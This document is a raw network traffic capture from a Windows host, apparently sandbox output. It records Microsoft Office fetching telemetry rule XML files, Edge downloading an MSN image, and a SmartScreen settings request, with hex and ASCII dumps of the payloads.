2024-11-11 20:59:24 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c8358df5-201e-005d-53d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205924Z-174f7845968psccphC1EWRuz9s00000005ng00000000nc1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	58782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:24 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a7e44230-001e-0082-7dd5-335880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205924Z-174f78459685m244hC1EWRgp2c000000056000000000v3m6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:24 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	58786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 1815e533-001e-0028-01d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205924Z-174f7845968jrjrxhC1EWRmmrs00000005m000000000ens9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	58788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:24 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 31c5dea7-101e-008d-51d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205924Z-174f7845968cpnpfhC1EWR3afc0000000550000000005w03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:24 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	58787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 642c93e8-001e-0014-7cd5-335151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205924Z-174f7845968vqt9xhC1EWRgten00000005g000000000duag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	58797	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	656	OUT	GET /tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:24 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t Last-Modified: Mon, 04 Nov 2024 20:38:24 GMT X-Source-Length: 261407 X-Datacenter: eastus X-ActivityId: fd5941e0-efe8-4d2c-be9c-4cb1e61494d0 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 262144 Cache-Control: public, max-age=214954 Expires: Thu, 14 Nov 2024 08:41:58 GMT Date: Mon, 11 Nov 2024 20:59:24 GMT Connection: close
2024-11-11 20:59:24 UTC	15837	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 04 38 07 80 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``8}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: a0 02 80 12 80 0a 00 5a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 01 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 16 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 0f 37 6b 80 58 a8 91 c3 9e 9e 9f 4a e5 d4 f4 2e 88 7e d2 d1 1c 95 24 67 6b 71 8a 62 b9 a5 6d 2e f9 37 15 ce Data Ascii: Z(((((((((((((((((((((((((((((((7kXJ.~$gkqbm.7
2024-11-11 20:59:24 UTC	1891	IN	Data Raw: 0a 83 81 9a ca 55 52 d1 1b 46 93 7a b2 b4 f7 0c c9 f2 b1 1d b0 3f c6 b2 75 1b 35 8d 24 88 1d 8f 01 97 0d fd ec f7 a8 b2 34 bb 23 79 38 2b 20 c1 5c f3 fe 34 95 83 52 3d e1 d4 6e 50 71 d1 b3 cd 31 21 ac 89 8f 99 b9 f4 22 a9 3b 09 ea 35 a5 c6 15 50 81 f9 d2 02 27 39 c6 59 7a fd dd d8 39 f5 14 80 85 b7 90 57 6f 4e a0 9e 6a 90 80 18 f6 e0 e4 b0 f4 3c fe 22 8b 01 1b 32 6f 25 48 21 b8 e7 23 14 d2 25 b1 bb 43 44 e3 78 ca f5 52 7a fd 2a 92 b0 6e 22 16 2a b8 04 11 d7 a7 1e e2 81 20 36 c4 3e 65 61 9c e7 38 c5 26 d0 6a 0d 6a 65 f3 72 a3 69 01 83 7b f6 a1 c9 15 ca ca f7 96 0a 59 65 59 17 18 fb ad e9 42 90 34 47 04 77 0b 2b 46 c1 80 cf 0c 4f e4 08 fe b4 d9 25 b8 a3 04 32 32 7c f9 f9 8a 9c 1f 6a 96 34 38 44 4b 8d c3 27 1c 82 39 3f 4a 57 d0 ab 6a 58 54 44 87 7c 6b 8d a7 Data Ascii: URFz?u5$4#y8+ \4R=nPq1!";5P'9Yz9WoNj<"2o%H!#%CDxRzn" 6>ea8&jjeri{YeYB4Gw+FO%22\|j48DK'9?JWjXTD\|k
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 1b 18 cf b8 cd 00 44 77 bf 20 9c 1e d9 a3 a8 0a b1 8d e1 9c b7 a1 cf 5a ad 89 7a 8a 0e de 00 f9 0f ad 03 2b dc 36 40 2a e0 85 e0 8c f2 3e b4 c9 20 69 5f 6f 03 a7 b6 28 ea 17 d0 af 29 c0 cb 31 a3 c8 3c c6 7d a1 98 0c e4 f6 eb 4d 22 5b 1e 80 b3 13 b5 37 74 e7 bf a5 34 80 5d a3 24 95 21 b1 e9 8e 3d 71 4c 56 17 cb 00 67 60 c8 ea 33 d8 d2 b8 ec 3b e7 8c 85 da 0a fa 93 ce 0f 41 ef 52 31 e8 cc 1d 90 81 c7 3e 9f 8d 22 96 a4 65 81 f9 70 77 74 1b 7a 50 22 37 39 03 2e 0a f7 18 ff 00 3c 51 b6 c1 7b ee 21 c2 9d 8a 83 fd ec 93 fa 55 22 4b 31 c6 77 00 40 3b 81 dd c7 06 80 42 c9 f2 8f 98 97 0c 3d 47 5f 63 50 5f 98 46 0b 0c 90 3e 5e aa 3b 8f 5a a1 31 f1 c7 bc 10 aa 41 1c 1e 39 c7 6e 3b 8a 4c 0b 69 6d b8 a2 b9 1d 3e 56 c6 0e 68 d8 76 b8 f4 5f 2c 98 d8 12 14 ff 00 08 1c 1f Data Ascii: Dw Zz+6@*> i_o()1<}M"[7t4]$!=qLVg`3;AR1>"epwtzP"79.<Q{!U"K1w@;B=G_cP_F>^;Z1A9n;Lim>Vhv_,
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 4b 99 85 90 35 b2 65 76 a8 19 eb cd 1c cc 7c a8 69 b7 8c e4 ed 1b be b4 f9 98 9c 50 9f 67 4d d9 28 0e 4d 1c cc 4a 28 6f d9 d5 b9 23 af bd 1c cc 7c 88 41 6a a3 b0 c7 d7 b5 3e 66 1c a8 16 dd 00 51 b4 6d 1d 06 7a 51 ce ee 2e 55 60 36 c8 00 25 01 cd 35 36 2e 54 34 db 2b 6e 2e b9 e3 81 9a 39 b6 0e 5d c6 ad a2 60 61 71 8f 7f 6a 39 83 90 68 b5 51 93 b7 e9 cd 27 26 1c a2 7d 98 6d 3f 29 f4 eb 4f 98 39 44 16 a8 aa 40 5e bc 75 a4 a6 1c a2 7d 9c 05 da aa 76 8e 40 cf 7f ad 57 30 b9 06 fd 9f 7b 96 39 1d 3b d1 cd a0 b9 75 14 41 92 58 83 ed cd 1c c1 ca 33 c8 cb 00 72 06 30 0d 3e 64 2e 56 12 c1 b9 f8 df b4 74 24 e4 fe 74 b9 86 e2 c8 cc 2f bf 80 7b 63 df eb 42 69 03 8b 63 de 26 95 fe 5c 8c 0a 2e 90 f9 5b 12 28 5d 08 2c c7 1f 5a 7c c8 5c ac 70 56 5f e2 3f e7 bd 2b a0 69 f7 Data Ascii: K5ev\|iPgM(MJ(o#\|Aj>fQmzQ.U`6%56.T4+n.9]`aqj9hQ'&}m?)O9D@^u}v@W0{9;uAX3r0>d.Vt$t/{cBic&\.[(],Z\|\pV_?+i
2024-11-11 20:59:24 UTC	7952	IN	Data Raw: 28 c9 3d 7e 94 00 9b a4 00 7c bc fa d3 b0 01 67 20 ee 51 9c 73 48 08 be 6c 82 48 07 e9 4c 03 90 0f 4c 13 f9 d1 60 17 08 42 e5 48 1d 71 40 07 97 09 5f 9b 20 f7 c1 a2 c0 1e 4d bf 0d b8 fd 08 e2 8b 00 79 30 6d fb c4 0e c3 34 58 07 f9 31 70 77 8e 87 1f fd 71 48 05 8e 18 7f bd cf d7 f9 50 02 fd 9d 31 cb 0f 6e 68 01 04 0b dd c6 7a 8e 7b 50 03 4d bf 19 57 e7 da 80 18 b1 b8 18 dc 07 3d 68 01 8f 1e c1 85 00 f3 c7 d3 de 81 e8 31 41 dd 80 08 cf 34 08 90 23 11 f7 87 bf 14 00 be 4f 1f 78 f1 d0 ff 00 3a 60 29 89 42 e0 9c 9f af eb 48 07 22 05 2d 90 31 d3 9a 00 b7 3e e6 8d 1b e5 1e 5b 94 05 47 3d 79 fc 3f fa f5 64 12 4d 1b c6 d1 3a b0 0c 77 02 73 f2 80 7a 0f f3 d2 8b dc 7b 15 84 12 2c 0f 10 7f 98 30 c9 ef e9 83 e8 3f c4 53 ba 16 a4 8f 1c 92 2a c8 79 ce 30 09 e7 71 e9 9f Data Ascii: (=~\|g QsHlHLL`BHq@_ My0m4X1pwqHP1nhz{PMW=h1A4#Ox:`)BH"-1>[G=y?dM:wsz{,0?S*y0q
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 4c f0 cc a5 64 43 86 1e f5 ee c6 4a 49 4a 2f 43 ca 94 5c 5b 8b 12 99 22 d0 02 83 cf 3f fe ba 40 73 d3 c7 f6 7b a9 22 ec a7 e5 fa 1e 95 c8 d5 9b 47 a9 09 73 c1 48 7a 35 5a 64 b4 4a 1a ad 32 07 66 99 21 40 09 49 a1 8e 86 59 ad a4 f3 2d a6 92 17 fe f2 31 04 d4 4a 09 ab 49 14 a4 d6 c6 cd af 8b 75 78 30 24 68 6e 40 ff 00 9e 89 83 f9 8a e7 96 12 9b db 43 55 59 f5 34 e2 f1 c8 c7 ef f4 d6 cf ac 72 8f ea 2b 17 83 7d 19 4a ac 5e e8 9c 78 e2 c7 1c d9 5d 0f fb e7 fc 6a 7e a7 3e e8 7e d6 3d 86 3f 8e 6d 87 fa bd 3e 76 ff 00 79 d4 53 fa 9c bb 87 b5 8f 63 3e e7 c6 d7 f2 02 2d ad 60 84 76 2c 4b 91 fc 85 69 1c 1c 56 ec 9f 6d d9 18 57 fa ad f5 f9 3f 6d bb 92 51 fd cc e1 7f 21 c5 6f 0a 70 a7 f0 a2 1c e4 f7 63 b4 1d 26 4d 73 53 16 e0 15 b5 8b 0d 3b 8e cb d9 47 b9 e9 f9 d6 55 Data Ascii: LdCJIJ/C\["?@s{"GsHz5ZdJ2f!@IY-1JIux0$hn@CUY4r+}J^x]j~>~=?m>vySc>-`v,KiVmW?mQ!opc&MsS;GU
2024-11-11 20:59:24 UTC	7088	IN	Data Raw: 48 3d dc f1 8f a5 17 7d 82 d1 ea c7 a9 9c 9c b9 cf fb c0 ff 00 4a 15 c4 f9 7a 0b 96 c6 3c e8 ff 00 5a 2e fb 85 97 61 19 97 f8 a7 55 6f 54 34 5d 77 1a 8b ec 0b 72 8a 38 63 21 f5 db 4b 99 0d c1 f5 42 7d b1 31 b7 ca 7e 7d b8 a1 c8 4a 9b ee 21 ba 40 38 40 7d 00 6f fe bd 17 f2 1f 27 98 9f 6a 3d 7e 50 be f2 9f e8 28 b8 72 21 c2 e5 98 7c a5 76 fa 96 fe 94 5c 7c 89 09 f6 93 8e 64 4c ff 00 bd 8a 2e 3f 67 e4 06 eb 8c 33 b3 fb 00 b4 ae 1e cf b2 1a 6e 54 72 16 60 3f 01 f9 d1 cc 1c 8c 6b 5f 88 d4 02 aa 33 fd f6 e4 fd 00 a1 bb 0d 53 bb 1a 6f e5 e9 90 ab e8 17 1f d6 a6 ec af 67 10 fb 74 a9 d8 ee 3d f0 33 4f 99 8b 91 30 6b c9 02 65 80 3f 5e 9f 95 37 71 24 9b b1 0f db 25 39 05 d0 0f f6 50 54 dd 97 ca 87 7d a2 40 b9 32 91 9e f8 02 8d 42 cb b0 9f 68 77 c0 f3 24 db ed c0 a3 Data Ascii: H=}Jz<Z.aUoT4]wr8c!KB}1~}J!@8@}o'j=~P(r!\|v\\|dL.?g3nTr`?k_3Sogt=3O0ke?^7q$%9PT}@2Bhw$
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 00 5d e4 fd d2 08 fa e2 80 13 23 ba 7e b4 80 37 01 d9 c7 e3 40 85 df fe d3 fe 54 c6 1b f3 fc 47 f1 14 00 a2 43 8f bc 9f 95 00 1b c9 ea aa 7e 8d 48 00 e5 8f 46 1f f0 10 68 00 c0 03 e6 3f a6 28 0b 89 95 f5 34 00 83 9e 80 fe 74 c0 0e 47 a8 ff 00 81 50 03 4e e3 f7 58 e7 eb 40 07 cf 9e 94 00 85 89 fb c0 fe 54 00 9c 76 23 34 80 5c b7 bf eb 40 0b bd 87 f1 1a 61 60 56 93 b3 ab 7b 1c 8a 40 3c 8c f2 40 07 eb 4c 06 f1 fd f2 3f 1c d2 0b 06 39 fb e0 fe 14 05 c0 60 8e 0a 7e b4 00 a0 12 3b 7f c0 58 d0 1a 09 c8 ec ff 00 98 34 c0 32 dd cb fe 2a 29 00 a3 1e 83 fe f9 a3 41 ea 35 b9 ec 3f 00 3f 95 01 70 db ea ac 3f 0a 03 71 0e e0 7e f0 c7 d0 9a 00 37 fa 63 f4 a0 2c 3c 36 e1 86 03 f2 34 00 d3 df 69 fc 33 40 00 24 f5 18 fc 7f fa f4 0b 43 9d 65 52 06 49 23 ea 6a 6c 74 f3 08 02 Data Ascii: ]#~7@TGC~HFh?(4tGPNX@Tv#4\@a`V{@<@L?9`~;X42*)A5??p?q~7c,<64i3@$CeRI#jlt
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: fd f1 f9 50 01 e6 10 79 c5 16 01 7c cf f6 87 e5 45 80 4d fe a0 1f c0 50 03 1c 8f 75 3e b4 c4 01 8a f4 27 f3 a0 05 f3 1f af 3f 95 16 01 77 93 d7 1f 95 16 01 37 7d 3f 2a 00 5c 8c fd d1 40 06 d8 d8 70 76 9f 6e 94 00 6d 23 a3 29 fc 68 b8 c4 d8 fe 83 f3 a0 42 10 ea 3a 1a 00 4d c7 d0 fe 54 00 be 61 f6 fc e8 b0 0e f3 1b df f3 a2 c0 1e 67 b8 a2 c3 17 28 7a 81 f8 52 00 da 9f dd a0 03 cb 03 a3 0f ce 8b 80 6d 7f e1 00 fe 34 00 87 78 ea a0 53 00 dc 41 fb df 90 a0 03 71 ee 49 fa 9a 40 21 d8 dd 54 67 d7 14 c4 26 7d c7 e5 40 c3 79 f5 1f 95 16 10 6f 3d 72 3f 3a 00 50 ca 7a 8f c7 34 00 bb 80 e8 cf f8 d2 18 98 46 ec 3f 2c 53 00 db 81 d4 7e 74 00 98 71 f7 70 7e 94 00 9b 98 7a 8f c2 81 06 f3 40 c7 79 84 f7 cf b1 14 58 05 fb c3 b0 34 80 4d 8c 3a a0 34 00 7c c3 f8 4f e5 4c 04 Data Ascii: Py\|EMPu>'?w7}?*\@pvnm#)hB:MTag(zRm4xSAqI@!Tg&}@yo=r?:Pz4F?,S~tqp~z@yX4M:4\|OL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	58791	52.228.161.161	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiSkFjN2hwNzJKWk5wWW5hZE9WQ0ovUT09IiwgImhhc2giOiIwNjg5OHNURGZ6az0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
